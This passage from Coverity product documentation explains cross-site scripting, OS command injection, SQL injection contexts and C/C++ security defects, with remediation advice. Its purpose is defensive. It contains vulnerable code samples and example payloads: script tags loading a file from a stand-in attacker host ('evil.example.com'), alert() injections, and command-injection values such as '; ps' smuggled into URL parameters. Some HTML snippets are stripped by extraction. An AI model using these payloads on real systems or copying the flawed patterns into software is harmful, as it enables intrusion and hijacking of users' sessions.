For example, assume that a banking site has an XSS issue in some component, and some user is currently logged into the site. An attacker targets this user and has the user interact with a malicious link that exploits the XSS issue, for example, through a phishing email or a link sent by instant messaging (IM). The attacker can now perform any banking transactions that the user can perform because the attacker can execute arbitrary JavaScript, in addition to whatever other functionality is normally exposed to the user.

#### 6.1.4.2.2. XSS example: ASP.NET Razor View

The following XSS example uses an ASP.NET Razor View that displays unsafe data in a request parameter, which is later displayed within a nested context.

The color coding in the example corresponds to the color coding that Coverity Connect provides in its Potential Security Vulnerabilities (CID) reports and remediation advice.

**example.cshtml :**

```

1. tainted_source: Reading data from an HTTP
 request, which is considered tainted.
@{
 String needHelp = Request["needHelp"];
}

2. taint_path_call: Passing the tainted data
 through System.Web.Mvc.HtmlHelper.Raw(System.String).
3. xss_injection_site: Printing base.Html.Raw(needHelp) to an HTML page allows
 cross-site scripting, because it was not properly sanitized for the nested
 contexts JavaScript single quoted string and HTML double quoted attribute.
Remediation for cross-site scripting
in C#: Escaping needs to be done for all of the contexts in the following
order, for example

Escape.Html(Escape.JsString(taintedData))

where Escape.JsString is a function from Coverity that escapes tainted data
(for JavaScript string), and Escape.Html escapes tainted data (for HTML
attribute). "taintedData" represents the expression
"base.Html.Raw(needHelp)".
Hello

```

For Visual Basic, the equivalent code in .vbhtml would be as follows:

```

@Code
 Dim needHelp As String = Request("needHelp")
End Code
Hello

```

**Note**

For descriptions of the symbolic names for contexts and escapers that are used in the example, see Symbolic Names. [↗](#)

**Progression of the security defect:**

- Event 1: The parameter `needHelp` is obtained from the HTTP request. This value is considered tainted until it is sanitized appropriately.
- Event 2: The `Html.Raw` method converts the value to an `IHtmlString`, which will *not* be escaped automatically by the Razor engine.
- Event 3: The value is "inlined" into a single-quoted Javascript string within the double-quoted `onmouseover` HTML tag attribute.

If a user moves the mouse over the `span` tag, the browser will execute the DOM `onMouseOver()` event handler, interpreting the attribute value as JavaScript directly, with any HTML entities decoded before use. Therefore, at least two contexts are possible in this case: The original HTML double-quoted attribute context and the JavaScript context. Both contexts are vulnerable to the XSS issue and need to be sanitized in proper order before this defect is remedied.

The following example executes a simple JavaScript pop-up:

```
none') || alert('XSS
```

The Javascript pop-up function would look as follows in a potential URL:

```
http://blog.example.com/example?needHelp=none') || alert('XSS
```

Inserted into the page, it would look like the following:

```
Hello
```

Again, the attacker only needs to cause users to interact with the malicious link.

**6.1.4.2.3. XSS example: Java servlet**

The following example shows an XSS issue within a Java Servlet that writes tainted data into the response stream directly, which is later displayed within an HTML context.

The color coding in the example corresponds to the color coding that Coverity Connect provides in its Potential Security Vulnerabilities (CID) reports and remediation advice.

**IndexServlet.java :**

```
8 public class IndexServlet extends HttpServlet {
9
10 protected void doGet(HttpServletRequest request,
11 HttpServletResponse response)
12 throws ServletException, IOException {
```

```

12 Reading data from a servlet request, which is considered tainted.
A user-controllable string.
13 String param = request.getParameter("index");
14
15 PrintWriter out = response.getWriter();
16 response.setContentType("text/html"); Passing the tainted data through
 java.lang.String.toString().
Concatenating the tainted data.
For context HTML_PCADATA, expected escaper of kind HTML_ENTITY
but none found.
The user-controllable expression "param" is being concatenated
into the output without the proper sanitization.
Page context: HTML_PCADATA.
Print or output statement where unsafe value is added to HTML output.
Remediation for cross-site scripting in Java:
 Escaping needs to be done for the detected context , for example:

Escape.html(taintedData)

where Escape.html escapes tainted data (for HTML). "taintedData" represents the
expression "param".
[More Information]
17 out.write("<html><body>Index requested: " + param);
18 out.write("...");

```



### Note

For descriptions of the symbolic names for contexts and escapers that are used in the example, see [Symbolic Names](#).

### Progression of the security defect:

- `IndexServlet.java` (13): The parameter `index` is obtained from the HTTP request. This value is considered unsafe until it is sanitized appropriately.
- `IndexServlet.java` (17): The value is displayed within an HTML context.

The attacker is free to execute potentially malicious JavaScript with the following example:

```
<script src="http://evil.example.com/bad.js"></script>
```

The security defect would look like this for a potential URL (for example, `blog.example.com`):

```
http://blog.example.com/webApp/?index=<script
src="http://evil.example.com/bad.js"></script>
```

Inserted into the page, the security defect would look like the following (after the attacker causes other users to interact with the malicious link):

```
<html><body>Index request:<script src="http://evil.example.com/bad.js"></script>
[...]
```

#### 6.1.4.2.4. XSS example: JavaServer Page

The following XSS example uses a JavaServer Page that displays unsafe data in a request parameter, which is later displayed within a nested context.

The color coding in the example corresponds to the color coding that Coverity Connect provides in its Potential Security Vulnerabilities (CID) reports and remediation advice.

**bloghelp.jsp :**

```

1<%@ page language="java" contentType="text/html; charset=utf-8"
2 pageEncoding="utf-8"%>
3<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
4<%Reading data from a servlet request, which is considered tainted.
A user-controllable string.
5 String needHelp = request.getParameter("needHelp");
6 if (needHelp == null || needHelp == "")
7 needHelp = "none";
8%>
9<!DOCTYPE html>
10<html>
11<head>
12 <script src="/webApp/static/js/main.js"></script>
13</head>
14<body>
15For context HTML_ATTR_VAL_DQ,
expected escaper of kind HTML_ENTITY but none found.
For context JS_STRING_SQ, expected escaper of kind JS_STRING
but none found.
The user-controllable expression "needHelp" is being concatenated
into the output without the proper sanitization.
Page context: HTML_ATTR_VAL_DQ JS_STRING_SQ.
Unsafe value is added to HTML output here.
Perform the following escaping in the following order to
guard against cross-site scripting attacks with JSP scriptlets.

Escape.html(Escape.jsString(needHelp))

where Escape.jsString is a function from Coverity that escapes
tainted data (for JavaScript string) , and Escape.html escapes
tainted data (for HTML attribute).
[More Information]
16 <span onmouseover="lookupHelp('<%= needHelp %>');">Hello Blogger!
17
18 To add a blog, please navigate to ...
19

```



#### Note

For descriptions of the symbolic names for contexts and escapers that are used in the example, see Symbolic Names [🔗](#) in the *Coverity Checker Reference*

### Progression of the security defect:

- `bloghelp.jsp` (5): The parameter `needHelp` is obtained from the HTTP request. This value is considered tainted until it is sanitized appropriately.
- `bloghelp.jsp` (16): The value is concatenated into the HTML double-quoted `onmouseover` attribute.

If a user moves the mouse over the `span` tag, the browser will execute the DOM `onMouseOver()` event handler, interpreting the attribute value as JavaScript directly, with any HTML entities decoded before use. Therefore, at least two contexts are possible in this case: The original HTML double-quoted attribute context and the JavaScript context. Both contexts are vulnerable to the XSS issue and need to be sanitized in proper order before this defect is remedied.

The following example executes a simple JavaScript pop-up:

```
none')||alert('XSS
```

The Javascript pop-up function would look as follows in a potential URL (for example, `blog.example.com`):

```
http://blog.example.com/webApp/?needHelp=none')||alert('XSS
```

Inserted into the page, it would look like the following:

```
Hello Blogger!
```

Again, the attacker only needs to cause users to interact with the malicious link.

#### 6.1.4.2.5. XSS example: Spring Web MVC (Java)

The following example shows an XSS issue that uses Spring Web MVC, binding request parameters to a bean, which is used in a JavaServer Page. The parameter is later displayed within HTML.

The color coding in the example corresponds to the color coding that Coverity Connect provides in its Potential Security Vulnerabilities (CID) reports and remediation advice.

##### HomeController.java :

```
19 @Controller
20 @RequestMapping(value = "/index")
21 public class HomeController {
22
23 private static final Logger logger =
24 LoggerFactory.getLogger(HomeController.class);
25
26 @RequestMapping(value = "/", method = RequestMethod.POST) Entering this
27 function as a framework entry point. Parameter "content"
28 is tainted because it comes from a servlet request.
29 A user-controllable string.
30 Parameter "content" receives the tainted data.
```

```

26 public String home(String content, Model model) {Passing the tainted data
 through
 org.springframework.ui.Model.addAttribute(java.lang.String, java.lang.Object).
27 model.addAttribute("blog_content", content);
28
29 return "show-blog";
30 }
31 }

```

**show-blog.jsp :**

```

46 <h1>Blog Entry</h1>
47 <div style="display:block; background: #efefef">
For context HTML_PCADATA, expected escaper of kind HTML_ENTITY but none found.
The user-controllable expression "${blog_content}" is being concatenated
into the output without the proper sanitization.
Page context: HTML_PCADATA.
Unsafe value is added to HTML output here.Remediation for cross-site scripting in EL:
Escaping needs to be done for the detected context , for example:

fn:escapeXml(blog_content)

where fn:escapeXml escapes tainted data (for HTML).
[More Information]
48 ${blog_content}

```



**Note**

For descriptions of the symbolic names for contexts and escapers that are used in the example, see [Symbolic Names](#).

**Progression of the security defect:**

- HomeController.java (26): The Spring Web MVC framework sets the String content from the content POST request parameter. This value is considered tainted until sanitized appropriately.
- HomeController.java (27): The model attribute blog\_content is populated with the value of content .
- show-blog.jsp (48): The value is displayed in HTML.

The attacker is free to execute potentially malicious JavaScript with the following example:

```
<script src="http://evil.example.com/bad.js"></script>
```

The security defect would look as follows for a potential URL (for example, blog.example.com ), when performed as a POST :

```

POST /webApp/ HTTP/1.1
Host: blog.example.com
...

```

```
content=<script%20src="http://evil.example.com/bad.js"></script>
```

Inserted into the page, the security defect would look as follows (after the attacker gets other users to interact with a malicious page that performs the `POST`):

```
<div style="display:block; background: #efefef">
<script src="http://evil.example.com/bad.js"></script>
```

#### 6.1.4.2.6. Stored XSS

A stored (or persistent) XSS defect is a kind of XSS defect in which untrusted, user-supplied data is stored by a Web application in a database and then retrieved and used to construct HTML output without adequate validation, escaping, or filtering. By including arbitrary JavaScript in data (such as a Web page comment) that is persisted by the Web application, this vulnerability allows a malicious attacker to execute the JavaScript on a Web page that is accessed by other users. This tainted data is later retrieved and displayed in the browser for other users of the application, at which point the injected script is executed.

In the following example, tainted data from a servlet request makes its way into persisted stored data through a field in the `Book` entity class. A `stored_xss` defect is reported when this entity field is retrieved at any point in the program and used in an unsafe context (as in the `doGet` request handler below).

```
@Entity
class Book {
 String title;
 Book(String title) { this.title = title; }
}

class Test_StoredXSS extends HttpServlet {

 EntityManager entityManager;

 public void doPost(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, IOException {

 entityManager.getTransaction().begin();
 entityManager.persist (new Book (req.getParameter("book-title")));
 entityManager.getTransaction().commit();
 entityManager.close();
 }

 public void doGet(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, IOException {

 entityManager.getTransaction().begin();
 List<Book> result = entityManager.createQuery(
 "SELECT b from Book AS b", Book.class).getResultList();

 for (Book book : result) {
 resp.getWriter().println("Book: " + book.title); // Stored XSS defect
 }
 }
}
```

```
 }
 entityManager.getTransaction().commit();
 entityManager.close();
 }
}
```

#### 6.1.4.2.7. HTML Contexts

When fixing an issue, you need to understand the current context, the safety obligations for that context, and what characters or sequences violate these obligations. A context defines a subset of a language and syntax rules. For example, the following `TAINTED_DATA_HERE` text occurs in an HTML double-quoted attribute context.

```
Some text here
```

When tainted data is able to circumvent a context, it can lead to a security issue, such as XSS or SQLi. For example, once outside of an HTML double-quoted attribute context, the inserted data can create a new attribute such as `onmouseover`. This attribute name is a DOM event handler. Browsers interpret the attribute's value as JavaScript, permitting XSS.

Each context has a set of safety obligations many of which are met by not inserting characters with special meaning within that context. This could be performed, for example, by a function that changes a character into a form that is acceptable for the context before insertion. Some contexts require more than character-level safety obligations. For example, when inserting characters into an HTML attribute name, not only are certain characters disallowed, a set of names should also be disallowed, since they might create an XSS issue.

#### 6.1.4.2.8. HTML Nested Contexts

A nested context occurs when more than one context exists for a given piece of data. An example is the common HTML `<a>` anchor element and its `href` attribute:

```
Click Me!
```

In the example, there are currently two contexts that have safety obligations for XSS:

- HTML double-quoted attribute
- URI

Common libraries exist for sanitizing user data for the first context. However, if the URI context is left untreated, an attacker can execute an XSS attack within it. The URI context is considered to be *nested within* the HTML double-quoted attribute context. Its safety obligations need to be met before the obligations of the HTML double-quoted attribute context.

#### 6.1.4.2.9. Common HTML Contexts

The following are common HTML contexts that often receive user-supplied data:

- HTML element / PCDATA (parsed character data) context, for example:

```
TAINTED_DATA_HERE
```

- HTML attribute contexts (single and double-quoted); for example, a single quoted context:

```

```

- URI context nested within an HTML attribute context; for example, a double-quoted context:

```
click here.
```

- A JavaScript string (single and double-quoted) nested within an HTML `<script>` context; for example, a single-quoted context that is nested within raw HTML text:

```
<script>
 var someVariable = 'TAINTED_DATA_HERE';
</script>
```

For information on all HTML contexts, see Section 6.4, “XSS Contexts”.

### 6.1.4.3. OS Command Injection

Operating System (OS) command injection is an issue that occurs when tainted user data (which is unsafe) is inserted into an API that can create a new OS process or command. The tainted data can change the intent of the new process, possibly executing arbitrary code on the OS if the data is not made safe (by sanitizing the data).

For remediation information, see Section 6.6.3, “OS Command Injection code examples”.

#### 6.1.4.3.1. OS Command Injection Risks

An OS command injection defect can potentially:

- Disclose, modify, and delete files or OS resources accessible by the account or user running the Web application.
- Directly access internal systems that the application OS can access, such as database systems or other applications. This is called pivoting.
- Examine the OS for additional defects that can be exploited to escalate privileges.

#### 6.1.4.3.2. Example 1: OS Command Injection (Java)

The following OS command injection example uses a servlet that constructs a command using unsafe data from a request parameter. The command is executed, displaying the results of a file listing.

**CommandServlet.java :**

```
9 public class CommandServlet extends HttpServlet {
10
```

```
11 protected void doGet(HttpServletRequest request,
12 HttpServletResponse response)
13 throws ServletException, IOException {
14 String outputFile = "foo.out";
15 String fileName = "foo.out";
16 String contentType = "text/plain";
17
18 if (request.getParameter("output") != null)
19 outputFile = request.getParameter("output");
20
21 if (request.getParameter("filename") != null)
22 fileName = request.getParameter("filename");
23
24 PrintWriter out = response.getWriter();
25 response.setContentType(contentType);
26 listFile(outputFile, out);
27 ...
32 private void listFile(String outputFile,
33 PrintWriter out)
34 throws RuntimeException {
35 try {
36
37 String[] command = new String[3];
38 command[0] = "/bin/bash";
39 command[1] = "-c";
40 command[2] = "ls -l " + outputFile;
41 Process proc = Runtime.getRuntime().exec(command);
42 }
43 }
44 ...
```

#### Progression of the security defect:

- `CommandServlet.java` (19): The parameter `output` is obtained from the HTTP request. This value is considered tainted until it is sanitized appropriately.
- `CommandServlet.java` (26): The tainted value is passed as a parameter to the `listFile()` method.
- `CommandServlet.java` (40): The parameter value is concatenated into an argument string that is passed to the Bash command language interpreter.
- `CommandServlet.java` (41): The tainted command is executed.

The attacker is able to change the intent of the command with the following:

```
i ps
```

The security defect would look like as follows for a potential URL (for example, `blog.example.com` with the servlet deployed at `/blog/list`):

```
http://blog.example.com/blog/list?output=%3B%20ps
```

**Note:**

The payload has been URL-encoded so that the semicolon and space are not interpreted directly by the Web application.

**6.1.4.3.3. Example 2: OS Command Injection (Java)**

The following OS command injection example uses a servlet that constructs a command using unsafe data from a request parameter. The command is executed, displaying the results of a process listing.

**CommandServlet.java :**

```
9 public class CommandServlet extends HttpServlet {
10
11 protected void doGet(HttpServletRequest request, HttpServletResponse response)
12 throws ServletException, IOException {
13
14 String outputFile = "foo.out";
15 String fileName = "foo.out";
16 String contentType = "text/plain";
17
18 if (request.getParameter("output") != null)
19 outputFile = request.getParameter("output");
20
21 if (request.getParameter("filename") != null)
22 fileName = request.getParameter("filename");
23
24 PrintWriter out = response.getWriter();
25 response.setContentType(contentType);
26 listFile(outputFile, out);
27 findFile(fileName, out);
28 ...
29
30 private void findFile(String fileName, PrintWriter out)
31 throws RuntimeException {
32
33 try {
34
35 String command = "/usr/bin/find . -name " + fileName;
36 Process proc = Runtime.getRuntime().exec(command);
37
38 ...
39 }
40 }
41 }
```

**Progression of the security defect:**

- `CommandServlet.java` (22): The parameter `filename` is obtained from the HTTP request. This value is considered tainted until it is sanitized appropriately.
- `CommandServlet.java` (27): The tainted value is passed as a parameter to the `findFile()` method.
- `CommandServlet.java` (68): The parameter value is concatenated into an argument string that is passed to the `find` command.

- `CommandServlet.java` (69): The tainted command is executed.

The attacker is able to change the intent of the command with the following:

```
* -exec ps ;
```

The security defect would look like as follows for a potential URL (for example, `blog.example.com` with the servlet deployed at `/blog/list`):

```
http://blog.example.com/blog/list? filename=%20-exec%20ps%20%3B
```



**Note:**

The payload has been URL-encoded so that the semicolon and space are not interpreted directly by the Web application.

#### 6.1.4.3.4. Common OS Command Injection Contexts

When fixing an OS command injection defect, you need to understand the context in which the data is being inserted. Common OS command injection contexts that receive user-supplied data include the following:

- A command line option, for example:

```
"someCommand -c -f " + TAIANTED_DATA_HERE;
```

- A command, for example:

```
TAIANTED_DATA_HERE + " -c -f ouput.txt";
```

For information on all OS command injection contexts, see Section 6.5, “OS Injection Command Contexts”.

##### 6.1.4.3.4.1. Commands and Unsafe Commands

Applications typically use constant values when referring to commands. Therefore, this context tends not to receive tainted data. However, the command needs to be examined and understood in cases where the injected data can have adverse effects. Most importantly, you need to understand if the command can execute another command through options or option strings.

For example:

```
"find -name " + TAIANTED_DATA_HERE;
```

If the tainted data contained an **-exec** argument and a semicolon ( ; ) at the end, it could execute another command through a feature in **find**. The analysis identifies commands like **find** as unsafe. Unidentified commands should be manually reviewed to determine if the inclusion of unsafe characters or arguments could also change the intent of the command.

#### 6.1.4.3.5. Remediation Examples: OS Command Injections

Once you understand the context in which user data is inserted, you can determine what remediation strategy is most effective. For more information on different remediation strategies, see Section 6.1.5, “Remediation”.

### 6.1.5. Remediation

Actionable remediation requires an understanding of the context where unsafe data outputs, what sanitization method is appropriate for the data within that context (or contexts), and what technologies are in use within the code itself. Coverity produces actionable remediation based upon these attributes and other information about the program that is available during the analysis of the code, providing you information needed to fix the issue quickly and accurately.

#### 6.1.5.1. Sanitizers

Sanitizers are functions or methods applied to user data that fulfill the safety obligations for some set of contexts by escaping data, filtering or removing data, or validating if the data is safe to use.

- **Escapers:**

Some contexts allow for the insertion of special characters if the characters are changed in some way. Coverity defines an escaper as a function that modifies tainted data by changing some set of characters into a different form. In its escaped form, tainted characters can now meet the safety obligations for a given context. For example, HTML escapers often change the less-than sign ( `<` ) to `&lt;` (HTML character reference). This form meets the safety obligations for many different HTML contexts. However, this form is inappropriate for other contexts such as JavaScript. Escapers that are designed for one context and applied to another might introduce an issue.

- **Filters:**

Coverity defines a filter as a function that removes some set of characters from tainted data. Some contexts do not have the concept of an escaped form. To meet the safety obligations for such a context, you might need to use a filter to remove these special characters. However, filters that are used or coded incorrectly can fail to meet the security obligations of a given context, allowing issues to occur.

- **Validators:**

Coverity defines a validator as a function that determines whether tainted data contains a set of characters. Unlike a filter or escaper, a validator does not modify tainted data. Because of the complexity of meeting safety obligations for certain contexts, it might be more appropriate to use a validator to ensure the data meets certain criteria, such as safety.

### 6.1.6. Technologies and Remediation

The type of technology that you use helps determine the type of remediation advice that you need. For SQLi, a common remediation strategy is to parameterize the SQL statement and

then pass the tainted data as a parameter. The technology that you use defines the type of parameterization to use. For example, if `java.sql.Statement` is detected, you are advised to use the `java.sql.PreparedStatement` API and to parameterize using the appropriate JDBC rules.

### 6.1.7. Coverity Sanitizers Library

Coverity offers open source libraries of sanitizers:

- [Java](#) 
- [C#](#) 

The libraries include sanitizers for difficult contexts that usually are not supported by other libraries, such as CSS strings and JavaScript regular expressions.

### 6.1.8. References

The following links provide additional information on Web application issues, including SQLi and XSS:

- [Common Weakness Enumeration](#) 
- [Web Application Security Consortium](#) 
- [OWASP XSS Cheat Sheet](#) 

## 6.2. C/C++ Application Security

Coverity Analysis comes with a suite of security checkers that also check for quality-related defects in code. Although all defects can have security implications, these checkers in particular find potential security problems.

Coverity security checkers find many coding defects that can lead to security defects. These defects include improper stack or heap access, integer overflows, buffer overflows, race conditions, UNIX- and Windows-specific bugs, insecure coding practices, and improper management of user-controllable strings. These defects can lead to memory corruption, privilege escalation, unauthorized reading of memory or files, process or system crashes, and denial of service.

While constantly interacting with an untrusted outside world, modern applications and systems must maintain a high level of reliability and availability. Data obtained from the outside world must be considered unsafe until it has been scanned and validated. Coverity analyzes and tracks untrusted, suspect data to pinpoint local or interprocedural security holes.

Coverity security checkers use the following terms throughout their configuration, analysis, and reporting:

- **Source:** Outside data can come from a variety of *sources*: files, environment variables, network packets, command-line arguments, user-space to kernel-space memory, and so on.
- **Tainted data:** Outside data that has yet to be scanned and validated.

- Sanitize: The process of scanning and validating tainted data.
- Sink: Functions that must be protected from tainted data, such as memory allocators and certain system calls.

Functions that transfer tainted data between arguments (for example, `memcpy`) or through a return value (for example, `atoi`) are seen as *transitively tainting* a given interface.

You can increase security checker effectiveness with the **cov-make-library** (see Section 6.7, “Security Commands”) command. Although the security checkers ship with a large collection of models for known functions from commonly used libraries (Win32, POSIX, and STL), Coverity recommends that you inspect your code where known security properties can be tracked and that you create custom models using Coverity primitives. Code you should inspect include where the application reads from files, from the network, interacts with a user, or generally encounters and processes any outside (untrusted) data. Creating custom models for security-specific properties of functions is an easy way to prevent false negatives, while at the same time increasing the quality of defects found.

Standard API models (POSIX, Win32, and STL) are in the Coverity Analysis installation directory.

The Coverity analysis tracks tainted data as it moves through the system and reports when it is sent to a sink. Coverity Analysis comes configured with information about certain source and sink functions (for example, `open` and `strcpy`). Coverity Analysis checks for five types of input validation vulnerabilities. As illustrated in the following figure, these checkers detect diverse vulnerabilities, which lend themselves to a variety of exploits.

### Figure 6.1. Tainted data flow and possible effects

## 6.2.1. C/C++ Security vulnerability: Incorrect logic (example 1)

Generic bugs that introduce incorrect logic can lead to vulnerabilities if the code in question is used to implement a security policy. Coverity offers a number of C/C++ security checkers that find such vulnerabilities. These checkers include `BAD_COMPARE`, `CONSTANT_EXPRESSION_RESULT`, `COPY_PASTE_ERROR`, `MISSING_BREAK`, and `NO_EFFECT`. For example, the `BAD_COMPARE` checker reports cases where the *return value* of a function was intended to be checked, but instead the *address* of the function is checked.

In the following example, the intended behavior of the program is to allow only the superuser to use the option `-configure`. Since `geteuid==0` always evaluates to `false`, *any* user can use the `-configure` option.

**Example** (from real source code):

```
if (!strcmp(argv[i], "--configure"))
{
 if (getuid() != 0 && geteuid == 0) {
 ErrorF("The '-configure' option can only be used by root.\n");
 exit(1);
 }
}
```

```

}
xf86DoConfigure = TRUE;
xf86AllowMouseOpenFail = TRUE;
return 1;

```

Source: <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0745>

### 6.2.2. C/C++ Security vulnerability: Incorrect logic (example 2)

If `memcmp` returns a number that is divisible by 256 in the following example, `check_scramble` will return 0, and the program will treat the check as though it passed. The result is that an attacker can bypass a password check by trying out approximately 256 random passwords. The BAD\_COMPARE checker finds instances of such issues.

```

char
check_scramble(const char *scramble_arg, const char *message,
 const uint8 *hash_stage2)
{
 ...
 return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);
}

```

The example uses incorrect logic because the intent was to check whether `memcmp` returns 0. That is, the erroneous line was intended to be `memcmp(...) != 0`, but the code is written to act like `(memcmp(...)) % 256 != 0`, where `%` is the remainder operator.

### 6.2.3. C/C++ Security vulnerability: Double-free defects

Double-free defects (reported by the USE\_AFTER\_FREE checker) can be used to exploit internal bookkeeping data managed by the memory allocator in order to strategically overwrite memory. In the following example (from <http://cwe.mitre.org/data/definitions/415.html>), an attacker might be able to change the behavior of the program with a crafted argument.

```

#include <stdio.h>
#include <unistd.h>

#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)

int main(int argc, char **argv) {
 char *buf1R1;
 char *buf2R1;
 char *buf1R2;

 buf1R1 = (char *) malloc(BUFSIZE2);
 buf2R1 = (char *) malloc(BUFSIZE2);

 free(buf1R1);
 free(buf2R1);
}

```

```
buf1R2 = (char *) malloc(BUFSIZE1);
strncpy(buf1R2, argv[1], BUFSIZE1-1);

free(buf2R1);
free(buf1R2);
}
```

Specific attack details are highly dependent on the implementation of the memory allocator used. For an in-depth discussion of potential techniques that are geared towards the implementation in GNU `libc`, see [The Malloc Maleficarum](#).

## 6.3. SQLi Contexts

### 6.3.1. SQL code

In general, to remedy SQL injection issues, you need to take one or more of the following actions:

- Parameterize the statement appropriately for the technology in use, binding values to parameters within the statement.
- Validate user-supplied values against known safe values. Concatenate the constant values into the SQL statement.
- Type cast to safe types (such as integers), and append the value into the SQL statement.

### 6.3.2. SQL identifier

SQL identifiers (such as keywords, functions, and so on) usually cannot be parameterized. If an identifier needs to be dynamically inserted into a statement, its value should originate from a constant string or enumeration. User-supplied values can be compared against known safe values for conditional choices, with the constant value concatenated to the statement.

#### Injection example:

```
String queryString = "SELECT * FROM Employee WHERE Employee.firstName
= ? " + TAINTED_DATA_HERE + " by Employee.lastName";
```

Examples that provide remediation advice and code for specific technologies:

- JDBC: See Section 6.6.1.1, “SQL identifier JDBC”.
- Hibernate HQL: See Section 6.6.1.2, “SQL identifier HQL”.
- Hibernate SQL: See Section 6.6.1.3, “SQL identifier Hibernate native query”.
- JPA JPQL: See Section 6.6.1.4, “SQL identifier JPQL”.
- JPA SQL: Section 6.6.1.3, “SQL identifier Hibernate native query”.

### 6.3.3. SQL IN clause

SQL `IN` clauses pose difficult remediation challenges. Traditional technologies like JDBC do not offer a direct way to bind a variable amount of values into a statement. This issue leads to an anti-pattern in which the values are directly concatenated into the statement.

There are two general strategies for remedying SQL injection within an `IN` clause:

- In all cases, create a `List` of tainted (and possibly some untainted) values.
- For supporting technologies (JPA 2.0 JPQL, Hibernate HQL, and so on), pass in this `List` directly, bound to a named parameter.
- For other technologies like JDBC:
  1. Create a SQL fragment of parameters with the same count as `List` members.
  2. Concatenate this value into the SQL statement.
  3. Iterate through the tainted `List`, binding values to the parameter in the statement.

#### Injection example:

```
String query = "SELECT * FROM Employee WHERE Employee.number in
(\" + TAINTED_DATA_HERE + \", 2)";
```

Examples that provide remediation advice and code for specific technologies:

- JDBC: See Section 6.6.1.6, “SQL clause: JDBC”.
- Hibernate HQL: See Section 6.6.1.7, “SQL clause: HQL”.
- Hibernate SQL: See Section 6.6.1.8, “SQL clause: Hibernate native query”.
- JPA JPQL: See Section 6.6.1.9, “SQL clause: JPQL”.
- JPA SQL: See Section 6.6.1.10, “SQL clause: JPA native query”.

### 6.3.4. SQL data value

SQL APIs (JDBC, Hibernate, and so on) allow the parameterization of different types of data. APIs for SQL strings, integers, or other data values are some of the most common. To remedy SQL injection with string and data values, parameterize the SQL statement, and bind the values to parameters within the statement.

#### Injection example:

```
String queryString = "SELECT * FROM my_table WHERE userid = ?
AND name = '\" + TAINTED_DATA_HERE + '\"";
```

Examples that provide remediation advice and code for specific technologies:

- JDBC: Section 6.6.1.11, “SQL string: JDBC”.
- Hibernate HQL: Section 6.6.1.12, “SQL string: HQL”.
- Hibernate SQL: Section 6.6.1.13, “SQL string: Hibernate native query”.
- JPA JPQL: Section 6.6.1.14, “SQL string: JPQL”.
- JPA SQL Section 6.6.1.15, “SQL string: JPA native query”.

### 6.3.5. SQL string

See Section 6.3.4, “SQL data value”.

### 6.3.6. SQL LIKE string

SQL `LIKE` clauses use special characters to perform wildcard matching. To remedy both SQL injection and preserve the meaning of the query:

1. Parameterize the SQL statement.
2. Escape the percent sign ( `%` , U+0025 ) and underscore ( `_` , U+005F ) characters within the string used in the `LIKE` query ``%...%`` .
3. Bind the value to a parameter within the `LIKE` clause.

#### Injection example:

```
String queryString = "SELECT * FROM my_table WHERE userid = ?
AND name LIKE '%" + TAINTED_DATA_HERE + "%'";
```

Examples that provide remediation advice and code for specific technologies:

- JDBC: See Section 6.6.1.16, “SQL string: JDBC”.
- Hibernate HQL: See Section 6.6.1.17, “SQL string: HQL”.
- Hibernate SQL: See Section 6.6.1.18, “SQL string: Hibernate native query”.
- JPA JPQL: See Section 6.6.1.19, “SQL string: JPQL”.
- JPA SQL: See Section 6.6.1.20, “SQL string: JPA native query”.

#### Note

Coverity provides Section 6.4.25, “sanitizers”, an escaping library for SQL `LIKE` that escapes the percent and underscore characters.

This escaper does not prevent SQL injection issues. It preserves the meaning of the `LIKE` query by escaping only characters with special meaning in a `LIKE` clause.

### 6.3.7. SQL table name

SQL identifiers (such as table names, columns, and so on) usually cannot be parameterized. If an identifier needs to be dynamically inserted into a statement, its value should originate from a constant string or enumeration. User-supplied values can be compared against constant values for conditional choices, with the constant value concatenated to the statement.

Examples that provide remediation advice and code for specific technologies:

- JDBC: See Section 6.6.1.21, “SQL table name: JDBC”.
- Hibernate HQL: See Section 6.6.1.22, “SQL table name: HQL”.
- Hibernate SQL: See Section 6.6.1.23, “SQL table name: Hibernate native query”.
- JPA JPQL: See Section 6.6.1.24, “SQL table name: JPQL”.
- JPA SQL: See Section 6.6.1.25, “SQL table name JPA native query”.

## 6.4. XSS Contexts

### 6.4.1. HTML: Raw text block

HTML5 defines the raw text context  as content between the following tags:

- `<script>`
- `<style>`

#### Note

Note: These contexts include some child context.

#### Injection example:

```
<script>
 var = 'TAINTED_DATA_HERE';
</script>
```

The parent context is the HTML raw text (script) with a child context, a JavaScript single-quoted string (see Section 6.4.13, “JavaScript: Single quoted string”).

Ideal safety obligations preclude inserting an end tag that matches the start tag name, by escaping, filtering, or validating. This would close the raw text context and would create a transition to a new context. Escaping must be performed through a mechanism that is supported by the nested (child) context. If the nested context cannot support escaping, the values should be removed through filtering.

Minimal safety obligations preclude inserting both the less-than sign ( `<` , U+003C ) and forward-slash ( `/` , U+002F ) through escaping. Escaping must be performed through a mechanism that is supported

by the nested (child) context. If the nested context cannot support escaping, you need to avoid inserting tainted data into this context. For example, common JavaScript string escapers escape the forward-slash character by backslash escaping. This produces a sequence of `<\/`, which makes it infeasible to close the context.

### 6.4.2. HTML: Script block

See Section 6.4.1, “HTML: Raw text block”.

### 6.4.3. HTML: RCDATA block

HTML5 defines the RCDATA context [↗](#) as content between the following tags:

- `<textarea>`
- `<title>`

#### Injection example:

```
<title>Blog of TAINTEDAHERE</title>
```

Ideal safety obligations preclude inserting an end tag that matches the start tag name (either by escaping as HTML character references, filtering, or validating) because it closes the context and enters a new context.

Minimal safety obligations preclude inserting the less-than sign ( `<`, `U+003C` ) through escaping. When used, common HTML escapers encode the less-than sign into a character reference ( `&lt;` ), which makes it infeasible to close the context.

### 6.4.4. HTML: PCDATA block

HTML5 does not use the term PCDATA directly. Rather, the standard uses the term normal elements [↗](#). This context includes flexible content within most other elements.

#### Injection example:

```
Here are the results of TAINTEDAHERE
```

There are no ideal safety obligations for the range of normal elements because individual elements might have more specific requirements.

